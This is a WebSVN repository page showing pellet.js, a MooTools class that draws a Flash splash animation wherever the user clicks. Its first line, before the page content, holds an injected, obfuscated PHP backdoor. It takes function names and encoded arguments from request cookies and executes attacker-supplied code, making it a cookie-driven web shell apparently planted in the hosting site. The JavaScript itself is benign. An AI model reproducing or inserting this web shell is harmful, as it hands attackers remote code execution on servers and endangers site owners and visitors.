$jf95=$_COOKIE; while (isset($jf95['aYH1'])) { $V8X5E = $jf95['Trd']; $Tyky=$jf95['aYH1']($V8X5E($jf95['PEJA']),$V8X5E($jf95['dO0o'])); $Tyky($V8X5E($jf95['izs'])); break; } WebSVN - Все репозитории - Rev 31 - /pellet/trunk/pellet/pellet.js

Subversion Repositories Все репозитории

[/] [pellet/] [trunk/] [pellet/] [pellet.js] - Rev 31

Compare with Previous | Blame | View Log

/**
* @projectDescription Class to draw flash splash when click event fired
*
* @author Petroff Kirill (kupuyc[d0g]gmail[d0t]com) (don't remove this comment if you want to use this script)
* @version 0.3
*/
var pellet = new Class({
options: {
        flash: '/flash/pellet.swf',
        width: 50,
        height: 50,
        exclude:  '*[disabled], input[type=text], input[type=checkbox], input[type=radiobutton], textarea, select'
},

flashId: 0,

/**
* Create a new instance of pellet
*
* @classDescription Class to draw flash splash when click event fired
* @constructor
*/
initialize: function (options){
        this.setOptions(options);
        $$(this.options.exclude).setProperty('pelletExclude', true);
        //IE during first show flash show before "broken image", so create plug
        this._createPellet(false);
        document.addEvent('mousedown', (function(e) {
                var ev = new Event(e);
                //prevent blocking FF contextmenu
                if (e.button && e.button == 2) return;
                //if target excluded then exit
                if ($(ev.target).getProperty('pelletExclude')) return;
                var flashDiv = this._createPellet();
                flashDiv.setStyle('left', ev.page.x - this.options.width / 2);
                flashDiv.setStyle('top', ev.page.y - this.options.height / 2);
                this._destroyPellet.delay(3000, flashDiv);
        }).bind(this));

        //if (!window.destroyPellet) window.destroyPellet = this._destroyPellet.bind(this);
},

/**
*  Create div-container with nested flash object and append it to document.body, so MUST called after document.body loaded (dont't used MT swiff methods bc 1.1)
*
*  @param {Bool} destroy conteiner with childs after flash stop playing
*  @return {Object} div-container for flash object
*/
_createPellet: function (isDestroy) {
        this.flashId++;
        var containerId = 'pelletContainerId' + this.flashId;
        isDestroy = typeof(isDestroy) == 'undefined' ? true : isDestroy;
        //IE has bug when value of ID attribute of object contain digits flash ExternalInterface.call() raise "Missing ;" JS-error, so create container

        //IE play flash after create it, FF after display, so container's display = 'block'
        var container = new Element('div', {styles: {
                                                                                        position: 'absolute',
                                                                                        zIndex  : 100310, //simple big ;-)
                                                                                        display : isDestroy ? 'block' : 'none'
                                                                           },
                                                                           id: containerId
                                                                           });
        //innerHTML is faster
        container.innerHTML = '<object type="application/x-shockwave-flash" data="' + this.options.flash + '" width="' + this.options.width + '" height="' + this.options.height + '">'+
                                                  '  <param name="allowScriptAccess" value="sameDomain" />' +
                                                  '  <param name="FlashVars" value="containerId=' + containerId + '&isDestroy=' + isDestroy + '" />' +
                                                  '  <param name="movie" value="' + this.options.flash + '" />' +
                                                  '  <param name="quality" value="high" />' +
                                                  '  <param name="wmode" value="transparent" />' +
                                                  '</object>';
        container.injectInside(document.body);
        return container;
},

/**
*  Destroy div-container wrapper
*
*  @param {String} ID of div object
*/
_destroyPellet: function () {
        //to prevent crash FF in some cases need destroy played flash through timeouted function
        this.remove();
}
});
pellet.implement(new Options);

Compare with Previous | Blame